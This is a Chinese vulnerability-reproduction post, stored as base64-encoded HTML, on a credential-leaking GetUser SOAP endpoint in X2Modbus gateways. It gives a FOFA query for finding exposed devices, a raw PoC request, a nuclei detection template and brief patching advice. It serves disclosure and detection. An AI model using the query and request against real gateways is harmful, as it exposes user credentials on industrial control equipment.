【漏洞复现】X2Modbus网关-GetUser接口存在敏感信息泄露

PGgxPjxhIG5hbWU9IlgyTW9kYnVz572R5YWzLUdldFVzZXLmjqXlj6PlrZjlnKjmlY/mhJ/kv6Hmga/ms4TpnLIiPjwvYT48c3Bhbj48L3NwYW4+WDJNb2RidXPnvZHlhbMtR2V0VXNlcuaOpeWPo+WtmOWcqOaVj+aEn+S/oeaBr+azhOmcsjwvaDE+PGgyPjxhIG5hbWU9Iua8j+a0nuaPj+i/sCI+PC9hPjxzcGFuPjwvc3Bhbj7mvI/mtJ7mj4/ov7A8L2gyPjxwPlgyTW9kYnVz572R5YWzR2V0VXNlcuaOpeWPo+WtmOWcqOS4gOS4quS/oeaBr+azhOa8j+a8j+a0nu+8jOS9v+W+l+acque7j+aOiOadg+eahOeUqOaIt+aIluaUu+WHu+iAheWPr+S7peiOt+WPluaVj+aEn+S/oeaBr+OAgjwvcD4KPGgyPjxhIG5hbWU9IuS6p+WTgeeVjOmdoiI+PC9hPjxzcGFuPjwvc3Bhbj7kuqflk4HnlYzpnaI8L2gyPjxwPjxpbWcgc3JjPSJodHRwczovL25jMC5jZG4uemthcS5jbi9tZC8yMTIxMi9lMzcyNWI2YTYwNmFjN2I2ZDNkN2JhNWQwMzFkZWE3NF85MDIxNS5wbmciIGFsdD0iIj48L3A+CjxoMj48YSBuYW1lPSJmb2Zh6K+t5rOVIj48L2E+PHNwYW4+PC9zcGFuPmZvZmHor63ms5U8L2gyPjxwPjxjb2RlPnNlcnZlcj0iU3VuRnVsbC1XZWJzIiB8fCBpY29uX2hhc2g9Ii0xMzg0MzcwMzcwIjwvY29kZT48L3A+CjxoMj48YSBuYW1lPSJQT0MiPjwvYT48c3Bhbj48L3NwYW4+UE9DPC9oMj48cHJlPjxvbD48bGk+PGNvZGU+PHNwYW4+UE9TVCA8L3NwYW4+PHNwYW4+Lzwvc3Bhbj48c3Bhbj5zb2FwPC9zcGFuPjxzcGFuPi88L3NwYW4+PHNwYW4+R2V0VXNlcjwvc3Bhbj48c3Bhbj4gSFRUUDwvc3Bhbj48c3Bhbj4vPC9zcGFuPjxzcGFuPjEuMTwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PHNwYW4+SG9zdDwvc3Bhbj48c3Bhbj46PC9zcGFuPjxzcGFuPiA8L3NwYW4+PC9jb2RlPjwvbGk+PGxpPjxjb2RlPjxzcGFuPlVzZXI8L3NwYW4+PHNwYW4+LTwvc3Bhbj48c3Bhbj5BZ2VudDwvc3Bhbj48c3Bhbj46PC9zcGFuPjxzcGFuPiA8L3NwYW4+PHNwYW4+TW96aWxsYTwvc3Bhbj48c3Bhbj4vPC9zcGFuPjxzcGFuPjUuMDwvc3Bhbj48c3Bhbj4gPC9zcGFuPjxzcGFuPig8L3NwYW4+PHNwYW4+V2luZG93czwvc3Bhbj48c3Bhbj4gTlQgPC9zcGFuPjxzcGFuPjEwLjA8L3NwYW4+PHNwYW4+Ozwvc3Bhbj48c3Bhbj4gPC9zcGFuPjxzcGFuPldpbjY0PC9zcGFuPjxzcGFuPjs8L3NwYW4+PHNwYW4+IHg2NDwvc3Bhbj48c3Bhbj4pPC9zcGFuPjxzcGFuPiA8L3NwYW4+PHNwYW4+QXBwbGVXZWJLaXQ8L3NwYW4+PHNwYW4+Lzwvc3Bhbj48c3Bhbj41MzcuMzY8L3NwYW4+PHNwYW4+IDwvc3Bhbj48c3Bhbj4oPC9zcGFuPjxzcGFuPktIVE1MPC9zcGFuPjxzcGFuPiw8L3NwYW4+PHNwYW4+IGxpa2UgPC9zcGFuPjxzcGFuPkdlY2tvPC9zcGFuPjxzcGFuPik8L3NwYW4+PHNwYW4+IDwvc3Bhbj48c3Bhbj5DaHJvbWU8L3NwYW4+PHNwYW4+Lzwvc3Bhbj48c3Bhbj4xMjEuMDwvc3Bhbj48c3Bhbj4uPC9zcGFuPjxzcGFuPjAuMDwvc3Bhbj48c3Bhbj4gPC9zcGFuPjxzcGFuPlNhZmFyaTwvc3Bhbj48c3Bhbj4vPC9zcGFuPjxzcGFuPjUzNy4zNjwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PHNwYW4+QWNjZXB0PC9zcGFuPjxzcGFuPjo8L3NwYW4+PHNwYW4+IDwvc3Bhbj48c3Bhbj4qPC9zcGFuPjxzcGFuPi8qPC9zcGFuPjwvY29kZT48L2xpPjxsaT48Y29kZT48c3Bhbj5Db250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZDwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PC9jb2RlPjwvbGk+PGxpPjxjb2RlPjxzcGFuPiZsdDtHZXRVc2VyJmd0OyZsdDtVc2VyIE5hbWU9ImFkbWluIiBQYXNzd29yZD0iYWRtaW4iLyZndDsmbHQ7L0dldFVzZXImZ3Q7PC9zcGFuPjwvY29kZT48L2xpPjwvb2w+PC9wcmU+PHA+PGltZyBzcmM9Imh0dHBzOi8vbmMwLmNkbi56a2FxLmNuL21kLzIxMjEyLzQzYjYzZWY2YjcyYmI0NzQzYmM5NWU4OWI3OTY4MTNiXzU5NjQ1LnBuZyIgYWx0PSIiPjwvcD4KPGgyPjxhIG5hbWU9Im51Y2xlaemqjOivgSI+PC9hPjxzcGFuPjwvc3Bhbj5udWNsZWnpqozor4E8L2gyPjxwcmU+PG9sPjxsaT48Y29kZT48c3Bhbj5pZDwvc3Bhbj48c3Bhbj46PC9zcGFuPjxzcGFuPiBYMk1vZHVzPC9zcGFuPjxzcGFuPi08L3NwYW4+PHNwYW4+aW5mbzwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PC9jb2RlPjwvbGk+PGxpPjxjb2RlPjxzcGFuPmluZm88L3NwYW4+PHNwYW4+Ojwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PHNwYW4+ICBuYW1lPC9zcGFuPjxzcGFuPjo8L3NwYW4+PHNwYW4+IFgyTW9kYnVzPC9zcGFuPjxzcGFuPue9keWFsy08L3NwYW4+PHNwYW4+R2V0VXNlcjwvc3Bhbj48c3Bhbj7mjqXlj6PlrZjlnKjmlY/mhJ/kv6Hmga/ms4TpnLI8L3NwYW4+PC9jb2RlPjwvbGk+PGxpPjxjb2RlPjxzcGFuPiAgYXV0aG9yPC9zcGFuPjxzcGFuPjo8L3NwYW4+PHNwYW4+IG5vYm9keTwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PHNwYW4+ICBzZXZlcml0eTwvc3Bhbj48c3Bhbj46PC9zcGFuPjxzcGFuPiBjcml0aWNhbDwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PHNwYW4+ICBkZXNjcmlwdGlvbjwvc3Bhbj48c3Bhbj46PC9zcGFuPjxzcGFuPiA8L3NwYW4+PHNwYW4+fDwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PHNwYW4+ICAgIFgyTW9kYnVzPC9zcGFuPjxzcGFuPue9keWFszwvc3Bhbj48c3Bhbj5HZXRVc2VyPC9zcGFuPjxzcGFuPuaOpeWPo+WtmOWcqOS4gOS4quS/oeaBr+azhOa8j+a8j+a0nu+8jOS9v+W+l+acque7j+aOiOadg+eahOeUqOaIt+aIluaUu+WHu+iAheWPr+S7peiOt+WPluaVj+aEn+S/oeaBr+OAgjwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PHNwYW4+ICBpbXBhY3Q8L3NwYW4+PHNwYW4+Ojwvc3Bhbj48c3Bhbj4gPC9zcGFuPjxzcGFuPnw8L3NwYW4+PC9jb2RlPjwvbGk+PGxpPjxjb2RlPjxzcGFuPiAgICA8L3NwYW4+PHNwYW4+5pS75Ye76ICF6YCa6L+H6K+l5ryP5rSe5Y+v6I635Y+W5pWP5oSf5L+h5oGvPC9zcGFuPjwvY29kZT48L2xpPjxsaT48Y29kZT48c3Bhbj4gIHJlbWVkaWF0aW9uPC9zcGFuPjxzcGFuPjo8L3NwYW4+PHNwYW4+IDwvc3Bhbj48c3Bhbj58PC9zcGFuPjwvY29kZT48L2xpPjxsaT48Y29kZT48c3Bhbj4gICAgPC9zcGFuPjxzcGFuPuWNh+e6p+eJiOacrO+8jOaJk+ihpeS4gTwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PHNwYW4+ICBtZXRhZGF0YTwvc3Bhbj48c3Bhbj46PC9zcGFuPjwvY29kZT48L2xpPjxsaT48Y29kZT48c3Bhbj4gICAgdmVyaWZpZWQ8L3NwYW4+PHNwYW4+Ojwvc3Bhbj48c3Bhbj4gPC9zcGFuPjxzcGFuPnRydWU8L3NwYW4+PC9jb2RlPjwvbGk+PGxpPjxjb2RlPjxzcGFuPiAgICBtYXg8L3NwYW4+PHNwYW4+LTwvc3Bhbj48c3Bhbj5yZXF1ZXN0PC9zcGFuPjxzcGFuPjo8L3NwYW4+PHNwYW4+IDwvc3Bhbj48c3Bhbj4zPC9zcGFuPjwvY29kZT48L2xpPjxsaT48Y29kZT48c3Bhbj4gICAgZm9mYTwvc3Bhbj48c3Bhbj4tPC9zcGFuPjxzcGFuPnF1ZXJ5PC9zcGFuPjxzcGFuPjo8L3NwYW4+PHNwYW4+IHNlcnZlcjwvc3Bhbj48c3Bhbj49PC9zcGFuPjxzcGFuPiJTdW5GdWxsLVdlYnMiPC9zcGFuPjxzcGFuPiA8L3NwYW4+PHNwYW4+fHw8L3NwYW4+PHNwYW4+IGljb25faGFzaDwvc3Bhbj48c3Bhbj49PC9zcGFuPjxzcGFuPiItMTM4NDM3MDM3MCI8L3NwYW4+PC9jb2RlPjwvbGk+PGxpPjxjb2RlPjxzcGFuPiAgdGFnczwvc3Bhbj48c3Bhbj46PC9zcGFuPjxzcGFuPiBYMk1vZGJ1czwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PC9jb2RlPjwvbGk+PGxpPjxjb2RlPjxzcGFuPnJlcXVlc3RzPC9zcGFuPjxzcGFuPjo8L3NwYW4+PC9jb2RlPjwvbGk+PGxpPjxjb2RlPjxzcGFuPiAgPC9zcGFuPjxzcGFuPi08L3NwYW4+PHNwYW4+IHJhdzwvc3Bhbj48c3Bhbj46PC9zcGFuPjwvY29kZT48L2xpPjxsaT48Y29kZT48c3Bhbj4gICAgICA8L3NwYW4+PHNwYW4+LTwvc3Bhbj48c3Bhbj4gPC9zcGFuPjxzcGFuPnw8L3NwYW4+PC9jb2RlPjwvbGk+PGxpPjxjb2RlPjxzcGFuPiAgICAgICAgUE9TVCA8L3NwYW4+PHNwYW4+Lzwvc3Bhbj48c3Bhbj5zb2FwPC9zcGFuPjxzcGFuPi88L3NwYW4+PHNwYW4+R2V0VXNlcjwvc3Bhbj48c3Bhbj4gSFRUUDwvc3Bhbj48c3Bhbj4vPC9zcGFuPjxzcGFuPjEuMTwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PHNwYW4+ICAgICAgICA8L3NwYW4+PHNwYW4+SG9zdDwvc3Bhbj48c3Bhbj46PC9zcGFuPjxzcGFuPiA8L3NwYW4+PHNwYW4+e3s8L3NwYW4+PHNwYW4+SG9zdG5hbWU8L3NwYW4+PHNwYW4+fX08L3NwYW4+PC9jb2RlPjwvbGk+PGxpPjxjb2RlPjxzcGFuPiAgICAgICAgPC9zcGFuPjxzcGFuPlVzZXI8L3NwYW4+PHNwYW4+LTwvc3Bhbj48c3Bhbj5BZ2VudDwvc3Bhbj48c3Bhbj46PC9zcGFuPjxzcGFuPiA8L3NwYW4+PHNwYW4+TW96aWxsYTwvc3Bhbj48c3Bhbj4vPC9zcGFuPjxzcGFuPjUuMDwvc3Bhbj48c3Bhbj4gPC9zcGFuPjxzcGFuPig8L3NwYW4+PHNwYW4+V2luZG93czwvc3Bhbj48c3Bhbj4gTlQgPC9zcGFuPjxzcGFuPjEwLjA8L3NwYW4+PHNwYW4+Ozwvc3Bhbj48c3Bhbj4gPC9zcGFuPjxzcGFuPldpbjY0PC9zcGFuPjxzcGFuPjs8L3NwYW4+PHNwYW4+IHg2NDwvc3Bhbj48c3Bhbj4pPC9zcGFuPjxzcGFuPiA8L3NwYW4+PHNwYW4+QXBwbGVXZWJLaXQ8L3NwYW4+PHNwYW4+Lzwvc3Bhbj48c3Bhbj41MzcuMzY8L3NwYW4+PHNwYW4+IDwvc3Bhbj48c3Bhbj4oPC9zcGFuPjxzcGFuPktIVE1MPC9zcGFuPjxzcGFuPiw8L3NwYW4+PHNwYW4+IGxpa2UgPC9zcGFuPjxzcGFuPkdlY2tvPC9zcGFuPjxzcGFuPik8L3NwYW4+PHNwYW4+IDwvc3Bhbj48c3Bhbj5DaHJvbWU8L3NwYW4+PHNwYW4+Lzwvc3Bhbj48c3Bhbj4xMjEuMDwvc3Bhbj48c3Bhbj4uPC9zcGFuPjxzcGFuPjAuMDwvc3Bhbj48c3Bhbj4gPC9zcGFuPjxzcGFuPlNhZmFyaTwvc3Bhbj48c3Bhbj4vPC9zcGFuPjxzcGFuPjUzNy4zNjwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PHNwYW4+ICAgICAgICA8L3NwYW4+PHNwYW4+QWNjZXB0PC9zcGFuPjxzcGFuPjo8L3NwYW4+PHNwYW4+IDwvc3Bhbj48c3Bhbj4qPC9zcGFuPjxzcGFuPi8qPC9zcGFuPjwvY29kZT48L2xpPjxsaT48Y29kZT48c3Bhbj4gICAgICAgIENvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkPC9zcGFuPjwvY29kZT48L2xpPjxsaT48Y29kZT48L2NvZGU+PC9saT48bGk+PGNvZGU+PHNwYW4+ICAgICAgICAmbHQ7R2V0VXNlciZndDsmbHQ7VXNlciBOYW1lPSJhZG1pbiIgUGFzc3dvcmQ9ImFkbWluIi8mZ3Q7Jmx0Oy9HZXRVc2VyJmd0Ozwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PC9jb2RlPjwvbGk+PGxpPjxjb2RlPjxzcGFuPiAgICBtYXRjaGVycy1jb25kaXRpb246IGFuZDwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PHNwYW4+ICAgIG1hdGNoZXJzOjwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PHNwYW4+ICAgICAgLSB0eXBlOiB3b3JkPC9zcGFuPjwvY29kZT48L2xpPjxsaT48Y29kZT48c3Bhbj4gICAgICAgIHBhcnQ6IGJvZHk8L3NwYW4+PC9jb2RlPjwvbGk+PGxpPjxjb2RlPjxzcGFuPiAgICAgICAgd29yZHM6PC9zcGFuPjwvY29kZT48L2xpPjxsaT48Y29kZT48c3Bhbj4gICAgICAgICAgLSAiR2V0VXNlclJlc3VsdCI8L3NwYW4+PC9jb2RlPjwvbGk+PGxpPjxjb2RlPjwvY29kZT48L2xpPjxsaT48Y29kZT48c3Bhbj4gICAgICAtIHR5cGU6IHN0YXR1czwvc3Bhbj48L2NvZGU+PC9saT48bGk+PGNvZGU+PHNwYW4+ICAgICAgICBzdGF0dXM6PC9zcGFuPjwvY29kZT48L2xpPjxsaT48Y29kZT48c3Bhbj4gICAgICAgICAgLSAyMDA8L3NwYW4+PC9jb2RlPjwvbGk+PC9vbD48L3ByZT48cD48aW1nIHNyYz0iaHR0cHM6Ly9uYzAuY2RuLnprYXEuY24vbWQvMjEyMTIvMGVkM2Q3NjE4ODE2NmZjNGNkYThjN2IyMzhjNzkxNTlfNDkwMTcucG5nIiBhbHQ9IiI+PC9wPgo8aDI+PGEgbmFtZT0i5L+u5aSN5bu66K6uIj48L2E+PHNwYW4+PC9zcGFuPuS/ruWkjeW7uuiurjwvaDI+PHVsPgo8bGk+5Y2H57qn57O757uf77yM5omT6KGl5LiBPC9saT48bGk+6Z2e5b+F6KaB5Y+v56aB5q2i5YWs572R6K6/6Zeu5oiW55m95ZCN5Y2V6K6/6ZeuPC9saT48L3VsPg==